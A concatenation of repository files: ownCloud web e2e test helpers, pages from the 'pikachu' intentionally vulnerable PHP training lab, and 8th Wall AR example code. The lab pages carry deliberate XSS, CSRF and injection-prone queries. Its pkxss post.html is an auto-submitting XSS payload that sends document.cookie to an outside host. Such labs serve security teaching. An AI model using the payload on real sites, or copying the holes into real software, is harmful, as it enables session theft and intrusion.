): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (let i = 1; i <= numberOfFolders; i++) {
await api.dav.createFolderInsideSpaceBySpaceName({
user,
folder: `testFolder${i}`,
spaceName: space
})
}
}
)
Given(
'{string} adds the following member(s) to the space {string} using API',
async function (
this: World,
stepUser: string,
space: string,
stepTable: DataTable
): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
await api.dav.addMembersToTheProjectSpace({
user,
spaceName: space,
shareWith: info.user,
shareType: info.shareType,
role: info.role
})
}
}
)
Given(
'{string} adds the following tags for the following resources using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
await api.dav.addTagToResource({ user, resource: info.resource, tags: info.tags })
}
}
)
| owncloud/web/tests/e2e/cucumber/steps/api.ts/0 | {
"file_path": "owncloud/web/tests/e2e/cucumber/steps/api.ts",
"repo_id": "owncloud",
"token_count": 3175
} | 855 |
import join from 'join-path'
import { getUserIdFromResponse, request, realmBasePath } from './utils'
import { deleteUser as graphDeleteUser } from '../graph'
import { checkResponseStatus } from '../http'
import { User, KeycloakRealmRole } from '../../types'
import { UsersEnvironment } from '../../environment'
import { keycloakRealmRoles } from '../../store'
import { state } from '../../../cucumber/environment/shared'
import { getTokenFromLogin } from '../../utils/tokenHelper'
const ocisKeycloakUserRoles: Record<string, string> = {
Admin: 'ocisAdmin',
'Space Admin': 'ocisSpaceAdmin',
User: 'ocisUser',
'User Light': 'ocisGuest'
}
export const createUser = async ({ user, admin }: { user: User; admin: User }): Promise<User> => {
const fullName = user.displayName.split(' ')
const body = JSON.stringify({
username: user.id,
credentials: [{ value: user.password, type: 'password' }],
firstName: fullName[0],
lastName: fullName[1] ?? '',
email: user.email,
emailVerified: true,
// NOTE: setting realmRoles doesn't work while creating user.
// Issue in Keycloak:
// - https://github.com/keycloak/keycloak/issues/9354
// - https://github.com/keycloak/keycloak/issues/16449
// realmRoles: ['ocisUser', 'offline_access'],
enabled: true
})
// create a user
const creationRes = await request({
method: 'POST',
path: join(realmBasePath, 'users'),
body,
user: admin,
header: { 'Content-Type': 'application/json' }
})
checkResponseStatus(creationRes, 'Failed while creating user')
// created user id
const uuid = getUserIdFromResponse(creationRes)
// assign realmRoles to user
const roleRes = await assignRole({ admin, uuid, role: 'User' })
checkResponseStatus(roleRes, 'Failed while assigning roles to user')
const usersEnvironment = new UsersEnvironment()
usersEnvironment.storeCreatedUser({ user: { ...user, uuid } })
// initialize user
await initializeUser(user.id)
return user
}
export const assignRole = async ({ admin, uuid, role }) => {
return request({
method: 'POST',
path: join(realmBasePath, 'users', uuid, 'role-mappings', 'realm'),
body: JSON.stringify([
await getRealmRole(ocisKeycloakUserRoles[role], admin),
await getRealmRole('offline_access', admin)
]),
user: admin,
header: { 'Content-Type': 'application/json' }
})
}
const initializeUser = async (username: string): Promise<void> => {
return await getTokenFromLogin({
browser: state.browser,
username,
waitForSelector: '#web-content'
})
}
export const deleteUser = async ({ user, admin }: { user: User; admin: User }): Promise<User> => {
// first delete ocis user
// deletes the user data
await graphDeleteUser({ user, admin })
const response = await request({
method: 'DELETE',
path: join(realmBasePath, 'users', user.uuid),
user: admin
})
checkResponseStatus(response, 'Failed to delete keycloak user: ' + user.id)
return user
}
export const getRealmRole = async (role: string, admin: User): Promise<KeycloakRealmRole> => {
if (keycloakRealmRoles.get(role)) {
return keycloakRealmRoles.get(role)
}
const response = await request({
method: 'GET',
path: join(realmBasePath, 'roles'),
user: admin
})
checkResponseStatus(response, 'Failed while fetching realm roles')
const roles = (await response.json()) as KeycloakRealmRole[]
roles.forEach((role: KeycloakRealmRole) => {
keycloakRealmRoles.set(role.name, role)
})
if (keycloakRealmRoles.get(role)) {
return keycloakRealmRoles.get(role)
}
throw new Error(`Role '${role}' not found in the keycloak realm`)
}
| owncloud/web/tests/e2e/support/api/keycloak/user.ts/0 | {
"file_path": "owncloud/web/tests/e2e/support/api/keycloak/user.ts",
"repo_id": "owncloud",
"token_count": 1260
} | 856 |
import { createdTokenStore, keycloakTokenStore } from '../store/token'
import { Token, User } from '../types'
export type TokenProviderType = 'keycloak' | null | undefined
export type TokenEnvironmentType = KeycloakTokenEnvironment | IdpTokenEnvironment
export function TokenEnvironmentFactory(type?: TokenProviderType) {
switch (type) {
case 'keycloak':
return new KeycloakTokenEnvironment()
default:
return new IdpTokenEnvironment()
}
}
class IdpTokenEnvironment {
getToken({ user }: { user: User }): Token {
return createdTokenStore.get(user.id)
}
setToken({ user, token }: { user: User; token: Token }): Token {
createdTokenStore.set(user.id, token)
return token
}
deleteToken({ user }: { user: User }): void {
createdTokenStore.delete(user.id)
}
}
class KeycloakTokenEnvironment {
getToken({ user }: { user: User }): Token {
return keycloakTokenStore.get(user.id)
}
setToken({ user, token }: { user: User; token: Token }): Token {
keycloakTokenStore.set(user.id, token)
return token
}
deleteToken({ user }: { user: User }): void {
keycloakTokenStore.delete(user.id)
}
}
| owncloud/web/tests/e2e/support/environment/token.ts/0 | {
"file_path": "owncloud/web/tests/e2e/support/environment/token.ts",
"repo_id": "owncloud",
"token_count": 391
} | 857 |
import { Page } from '@playwright/test'
import * as po from './actions'
import { SpacesEnvironment } from '../../../environment'
import { Space } from '../../../types'
export class Spaces {
#page: Page
#spacesEnvironment: SpacesEnvironment
constructor({ page }: { page: Page }) {
this.#spacesEnvironment = new SpacesEnvironment()
this.#page = page
}
getUUID({ key }: { key: string }): string {
return this.getSpace({ key }).id
}
getDisplayedSpaces(): Promise<string[]> {
return po.getDisplayedSpaces(this.#page)
}
getSpace({ key }: { key: string }): Space {
return this.#spacesEnvironment.getSpace({ key })
}
async changeQuota({
spaceIds,
value,
context
}: {
spaceIds: string[]
value: string
context: string
}): Promise<void> {
await po.changeSpaceQuota({ spaceIds, value, page: this.#page, context })
}
async disable({ spaceIds, context }: { spaceIds: string[]; context: string }): Promise<void> {
await po.disableSpace({ spaceIds, page: this.#page, context })
}
async enable({ spaceIds, context }: { spaceIds: string[]; context: string }): Promise<void> {
await po.enableSpace({ spaceIds, page: this.#page, context })
}
async delete({ spaceIds, context }: { spaceIds: string[]; context: string }): Promise<void> {
await po.deleteSpace({ spaceIds, page: this.#page, context })
}
async select({ key }: { key: string }): Promise<void> {
await po.selectSpace({ page: this.#page, id: this.getUUID({ key }) })
}
async rename({ key, value }: { key: string; value: string }): Promise<void> {
await po.renameSpace({ page: this.#page, id: this.getUUID({ key }), value })
}
async changeSubtitle({ key, value }: { key: string; value: string }): Promise<void> {
await po.changeSpaceSubtitle({ page: this.#page, id: this.getUUID({ key }), value })
}
async openPanel({ key }: { key: string }): Promise<void> {
await po.openSpaceAdminSidebarPanel({ page: this.#page, id: this.getUUID({ key }) })
}
async openActionSideBarPanel({ action }: { action: string }): Promise<void> {
await po.openSpaceAdminActionSidebarPanel({ page: this.#page, action })
}
listMembers({ filter }: { filter: string }): Promise<Array<string>> {
return po.listSpaceMembers({ page: this.#page, filter })
}
}
| owncloud/web/tests/e2e/support/objects/app-admin-settings/spaces/index.ts/0 | {
"file_path": "owncloud/web/tests/e2e/support/objects/app-admin-settings/spaces/index.ts",
"repo_id": "owncloud",
"token_count": 785
} | 858 |
import { Page } from '@playwright/test'
import util from 'util'
const searchResultMessageSelector = '//p[@class="oc-text-muted"]'
const selectTagDropdownSelector =
'//div[contains(@class,"files-search-filter-tags")]//button[contains(@class,"oc-filter-chip-button")]'
const tagFilterChipSelector = '//button[contains(@data-test-value,"%s")]'
const mediaTypeFilterSelector = '.item-filter-mediaType'
const mediaTypeFilterItem = '[data-test-id="media-type-%s"]'
const mediaTypeOutside = '.files-search-result-filter'
const clearFilterSelector = '.item-filter-%s .oc-filter-chip-clear'
const lastModifiedFilterSelector = '.item-filter-lastModified'
const lastModifiedFilterItem = '[data-test-value="%s"]'
const enableSearchTitleOnlySelector =
'//div[contains(@class,"files-search-filter-title-only")]//button[contains(@class,"oc-filter-chip-button")]'
const disableSearchTitleOnlySelector =
'//div[contains(@class,"files-search-filter-title-only")]//button[contains(@class,"oc-filter-chip-clear")]'
export const getSearchResultMessage = ({ page }: { page: Page }): Promise<string> => {
return page.locator(searchResultMessageSelector).innerText()
}
export const selectTagFilter = async ({
tag,
page
}: {
tag: StaticRangeInit
page: Page
}): Promise<void> => {
await page.locator(selectTagDropdownSelector).click()
await page.locator(util.format(tagFilterChipSelector, tag)).click()
}
export const selectMediaTypeFilter = async ({
mediaType,
page
}: {
mediaType: string
page: Page
}): Promise<void> => {
await page.locator(mediaTypeFilterSelector).click()
await Promise.all([
page.waitForResponse(
(resp) =>
resp.url().includes('/dav/spaces') &&
resp.status() === 207 &&
resp.request().method() === 'REPORT'
),
page.locator(util.format(mediaTypeFilterItem, mediaType.toLowerCase())).click()
])
await page.locator(mediaTypeOutside).click()
}
export const selectLastModifiedFilter = async ({
lastModified,
page
}: {
lastModified: string
page: Page
}): Promise<void> => {
await page.locator(lastModifiedFilterSelector).click()
await Promise.all([
page.waitForResponse(
(resp) =>
resp.url().includes('/dav/spaces') &&
resp.status() === 207 &&
resp.request().method() === 'REPORT'
),
page.locator(util.format(lastModifiedFilterItem, lastModified)).click()
])
}
export const clearFilter = async ({
page,
filter
}: {
page: Page
filter: string
}): Promise<void> => {
await page.locator(util.format(clearFilterSelector, filter)).click()
}
export const toggleSearchTitleOnly = async ({
enableOrDisable,
page
}: {
enableOrDisable: string
page: Page
}): Promise<void> => {
const selector =
enableOrDisable === 'enable' ? enableSearchTitleOnlySelector : disableSearchTitleOnlySelector
await page.locator(selector).click()
}
| owncloud/web/tests/e2e/support/objects/app-files/search/actions.ts/0 | {
"file_path": "owncloud/web/tests/e2e/support/objects/app-files/search/actions.ts",
"repo_id": "owncloud",
"token_count": 980
} | 859 |
export { Application } from './application'
export { Session } from './session'
| owncloud/web/tests/e2e/support/objects/runtime/index.ts/0 | {
"file_path": "owncloud/web/tests/e2e/support/objects/runtime/index.ts",
"repo_id": "owncloud",
"token_count": 20
} | 860 |
export * as locatorUtils from './locator'
| owncloud/web/tests/e2e/support/utils/index.ts/0 | {
"file_path": "owncloud/web/tests/e2e/support/utils/index.ts",
"repo_id": "owncloud",
"token_count": 14
} | 861 |
<?php
//db connect
function connect($host=DBHOST,$username=DBUSER,$password=DBPW,$databasename=DBNAME,$port=DBPORT){
$link=@mysqli_connect($host, $username, $password, $databasename, $port);
if(mysqli_connect_errno()){
// exit(mysqli_connect_error());
exit('数据库连接失败,请检查config.inc.php配置文件');
}
mysqli_set_charset($link,'utf8');
return $link;
}
//sqli_widebyte
//判断一下操作是否成功,如果错误返回bool值,如果成功,则返回结果集
function execute($link,$query){
$result=mysqli_query($link,$query);
if(mysqli_errno($link)){//最近一次操作的错误编码,没错误返回0,没有输出
exit(mysqli_error($link));//有错误,返回编码,为true,则打印报错信息
}
return $result;
}
//转义,避免fuck
function escape($link,$data){
if(is_string($data)){
return mysqli_real_escape_string($link,$data);
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val);
}
}
return $data;
}
?> | zhuifengshaonianhanlu/pikachu/inc/mysql.inc.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/inc/mysql.inc.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 575
} | 862 |
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<!--
*
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->
| zhuifengshaonianhanlu/pikachu/pkxss/xcookie/post.html/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/pkxss/xcookie/post.html",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 318
} | 863 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "csrf_get_edit.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR."inc/config.inc.php";
include_once $PIKA_ROOT_DIR."inc/function.php";
include_once $PIKA_ROOT_DIR."inc/mysql.inc.php";
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_csrf_login($link)){
// echo "<script>alert('登录后才能进入会员中心哦')</script>";
header("location:csrf_get_login.php");
}
$html1='';
if(isset($_GET['submit'])){
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null){
$getdata=escape($link, $_GET);
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:csrf_get.php");
}else {
$html1.='修改失败,请重试';
}
}
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="../csrf.php">CSRF</a>
</li>
<li class="active">CSRF(get)</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="get提交">
点一下提示~
</a>
</div>
<div class="page-content">
<?php
//通过当前session-name到数据库查询,并显示其对应信息
$username=$_SESSION['csrf']['username'];
$query="select * from member where username='$username'";
$result=execute($link, $query);
$data=mysqli_fetch_array($result, MYSQL_ASSOC);
$name=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];
$html=<<<A
<div id="per_info">
<form method="get">
<h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="csrf_get.php?logout=1">退出登录</a></h1>
<p class="per_name">姓名:{$name}</p>
<p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
<input class="sub" type="submit" name="submit" value="submit"/>
</form>
</div>
A;
echo $html;
echo $html1;
?>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/csrf/csrfget/csrf_get_edit.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/csrf/csrfget/csrf_get_edit.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 1924
} | 864 |
<?php
$html.=<<<A
<img class=player src="include/kobe.png" />
<p class=nabname>
Kobe Bryant is one of the NBA's best scorer, breakthrough, shooting, free throws, three-pointers he chameleonic, almost no offensive blind area, single-game 81 points of personal record is powerful to prove it.In addition to crazy to points, Bryant's organizational ability is also very outstanding, often served as the first sponsors on offense.Bryant is the best form of defence in the league, one of personal defense is very oppressive.
He is a great NAB player!
</p>
A;
?> | zhuifengshaonianhanlu/pikachu/vul/fileinclude/include/file1.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/fileinclude/include/file1.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 149
} | 865 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "op2_admin.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR.'inc/mysql.inc.php';
include_once $PIKA_ROOT_DIR.'inc/function.php';
include_once $PIKA_ROOT_DIR.'inc/config.inc.php';
$link=connect();
// 判断是否登录,没有登录不能访问
//如果没登录,或者level不等于1,都就干掉
if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){
header("location:op2_login.php");
exit();
}
//删除
if(isset($_GET['id'])){
$id=escape($link, $_GET['id']);//转义
$query="delete from member where id={$id}";
execute($link, $query);
}
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:op2_login.php");
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="../op.php">Over Permission</a>
</li>
<li class="active">op2 admin</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="想知道当超级boss是什么滋味吗">
点一下提示~
</a>
</div>
<div class="page-content">
<div id="admin_left">
<p class="left_title">用户管理</p>
<ul>
<li><a href="op2_admin.php">查看用户列表</a></li>
<li><a href="op2_admin_edit.php">添加用户</a></li>
</ul>
</div>
<div id="admin_main">
<p class="admin_title">hi,<?php echo $_SESSION['op2']['username'];?>欢迎来到后台会员管理中心 | <a style="color:bule;" href="op2_admin.php?logout=1">退出登录</a></p>
<table class="table table-bordered table-striped">
<tr>
<td>用名</td>
<td>性别</td>
<td>手号</td>
<td>邮箱</td>
<td>地址</td>
<td>操作</td>
</tr>
<?php
$query="select * from member";
$result=execute($link, $query);
while ($data=mysqli_fetch_assoc($result)){
$username=htmlspecialchars($data['username']);
$sex=htmlspecialchars($data['sex']);
$phonenum=htmlspecialchars($data['phonenum']);
$email=htmlspecialchars($data['email']);
$address=htmlspecialchars($data['address']);
$html=<<<A
<tr>
<td>{$username}</td>
<td>{$sex}</td>
<td>{$phonenum}</td>
<td>{$email}</td>
<td>{$address}</td>
<td><a href="op2_admin.php?id={$data['id']}">删除</a></td>
</tr>
A;
echo $html;
}
?>
</table>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/overpermission/op2/op2_admin.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/overpermission/op2/op2_admin.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 2346
} | 866 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "sqli_insert.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR . "inc/config.inc.php";
include_once $PIKA_ROOT_DIR . "inc/function.php";
include_once $PIKA_ROOT_DIR . "inc/mysql.inc.php";
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_sqli_session($link)){
echo "<script>alert('登录后才能进入会员中心哦')</script>";
header("location:sqli_login.php");
}
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:sqli_login.php");
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="../sqli.php">sqli</a>
</li>
<li class="active">会员信息</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="">
点一下提示~
</a>
</div>
<div class="page-content">
<?php
//通过当前session-name到数据库查询,并显示其对应信息
$username=$_SESSION['sqli']['username'];
$query="select * from member where username='$username'";
$result=execute($link, $query);
$data=mysqli_fetch_array($result, MYSQL_ASSOC);
$name=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];
$html=<<<A
<div id="per_info">
<h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="sqli_mem.php?logout=1">退出登录</a></h1>
<p class="per_name">姓名:{$name}</p>
<p class="per_sex">性别:{$sex}</p>
<p class="per_phone">手机:{$phonenum}</p>
<p class="per_add">住址:{$add}</p>
<p class="per_email">邮箱:{$email}</p>
<a class="edit" href="sqli_edit.php">修改个人信息</a>
</div>
A;
echo $html;
?>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/sqli/sqli_iu/sqli_mem.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/sqli/sqli_iu/sqli_mem.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 1592
} | 867 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "unsafere.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="unsafere.php"></a>
</li>
<li class="active">概述</li>
</ul>
</div>
<div class="page-content">
<div class="vul info">
<p>不安全的url跳转</p><br>
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。<br>
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话<br>
就可能发生"跳错对象"的问题。
<br>
<br>
url跳转比较直接的危害是:<br>
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站<br>
<br>
这个漏洞比较简单,come on,来测一把!
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/urlredirect/unsafere.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/urlredirect/unsafere.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 1255
} | 868 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "xss_reflected_get.php"){
$ACTIVE = array('','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR.'inc/config.inc.php';
include_once $PIKA_ROOT_DIR.'inc/mysql.inc.php';
include_once $PIKA_ROOT_DIR.'inc/function.php';
include_once $PIKA_ROOT_DIR.'header.php';
$link=connect();
$is_login_id=check_xss_login($link);
if(!$is_login_id){
header("location:post_login.php");
}
$state = '你已经登陆成功,<a href="xss_reflected_post.php?logout=1">退出登陆</a>';
$html='';
if(isset($_POST['submit'])){
if(empty($_POST['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
//下面直接将前端输入的参数原封不动的输出了,出现xss
if($_POST['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
}
}
}
if(isset($_GET['logout']) && $_GET['logout'] == '1'){
setcookie('ant[uname]','');
setcookie('ant[pw]','');
header("location:post_login.php");
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="../xss.php">xss</a>
</li>
<li class="active">xss概述</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="问题还是那个问题,只是提交方式变成了post,怎么利用?">
点一下提示~
</a>
</div>
<div class="page-content">
<div id="xssr_main">
<p class="xssr_title">Which NBA player do you like?</p>
<form method="post">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<br />
<?php echo $state;?>
<br />
<?php echo $html;?>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/xss/xsspost/xss_reflected_post.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/xss/xsspost/xss_reflected_post.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 1687
} | 869 |
# 8th Wall Web Examples - AFrame - Art Gallery
This example uses image targets to show information about paintings in AR. This showcases image target tracking, as well as loading dynamic content and using the xrextras-generate-image-targets component.

[Try the live demo here](https://templates.8thwall.app/artgallery-aframe)

## Uploading to Console
To link the image targets to your app key, you will need to upload each image to your app in console at console.8thwall.com.
Image target metadata allows us to generalize behaviors, linking specific data to the image targets themselves. Add the correct metadata to each image target on the console to make it available to your app.
```
{
"title":"A Sunday Afternoon on the Island of La Grande Jatte",
"artist":"Seurat",
"date":"1884"
}
{
"title":"Monet Tulip Fields With The Rijnsburg Windmill",
"artist":"Monet",
"date":"1886",
"wikiTitle":"Claude Monet"
}
{
"title":"The Starry Night",
"artist":"Van Gogh",
"date":"1889"
}
{
"title":"Mona Lisa",
"artist":"Da Vinci",
"date":"1503-1506"
}
{
"title":"Claude Monet painting in his Garden at Argenteuil",
"artist":"Renoir",
"date":"1873",
"wikiTitle":"Pierre-Auguste Renoir"
}
```
| 8thwall/web/examples/aframe/artgallery/README.md/0 | {
"file_path": "8thwall/web/examples/aframe/artgallery/README.md",
"repo_id": "8thwall",
"token_count": 414
} | 0 |
// Copyright (c) 2021 8th Wall, Inc.
/* globals AFRAME THREE */
/**
* @param {Array<THREE.Material>|THREE.Material} material
* @return {Array<THREE.Material>}
*/
const ensureMaterialArray = (material) => {
if (!material) {
return []
} else if (Array.isArray(material)) {
return material
} else if (material.materials) {
return material.materials
} else {
return [material]
}
}
/**
* @param {THREE.Object3D} mesh
* @param {Array<string>} materialNames
* @param {THREE.Texture} envMap
* @param {number} reflectivity [description]
*/
const applyEnvMap = (mesh, materialNames, envMap, reflectivity) => {
if (!mesh) {
return
}
materialNames = materialNames || []
mesh.traverse((node) => {
if (!node.isMesh) {
return
}
const meshMaterials = ensureMaterialArray(node.material)
meshMaterials.forEach((material) => {
if (material && !('envMap' in material)) {
return
}
if (materialNames.length && materialNames.indexOf(material.name) === -1) {
return
}
material.envMap = envMap
material.reflectivity = reflectivity
material.needsUpdate = true
})
})
}
const toUrl = (urlOrId) => {
const img = document.querySelector(urlOrId)
return img ? img.src : urlOrId
}
AFRAME.registerComponent('cubemap-static', {
multiple: true,
schema: {
posx: {default: '#posx'},
posy: {default: '#posy'},
posz: {default: '#posz'},
negx: {default: '#negx'},
negy: {default: '#negy'},
negz: {default: '#negz'},
extension: {default: 'jpg', oneOf: ['jpg', 'png']},
format: {default: 'RGBFormat', oneOf: ['RGBFormat', 'RGBAFormat']},
enableBackground: {default: false},
reflectivity: {default: 1, min: 0, max: 1},
materials: {default: []},
},
init() {
const {data} = this
this.texture = new THREE.CubeTextureLoader().load([
toUrl(data.posx), toUrl(data.negx),
toUrl(data.posy), toUrl(data.negy),
